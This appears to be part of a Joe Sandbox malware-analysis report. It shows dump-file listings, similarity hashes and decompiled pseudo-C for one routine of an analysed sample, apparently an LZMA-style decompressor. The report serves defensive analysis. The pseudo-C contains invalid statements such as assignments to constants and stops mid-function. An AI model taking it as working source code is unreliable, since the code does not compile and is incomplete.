Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E

Uniqueness

Uniqueness Score: -1.00%

Function 00407194 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407194() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00407602))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
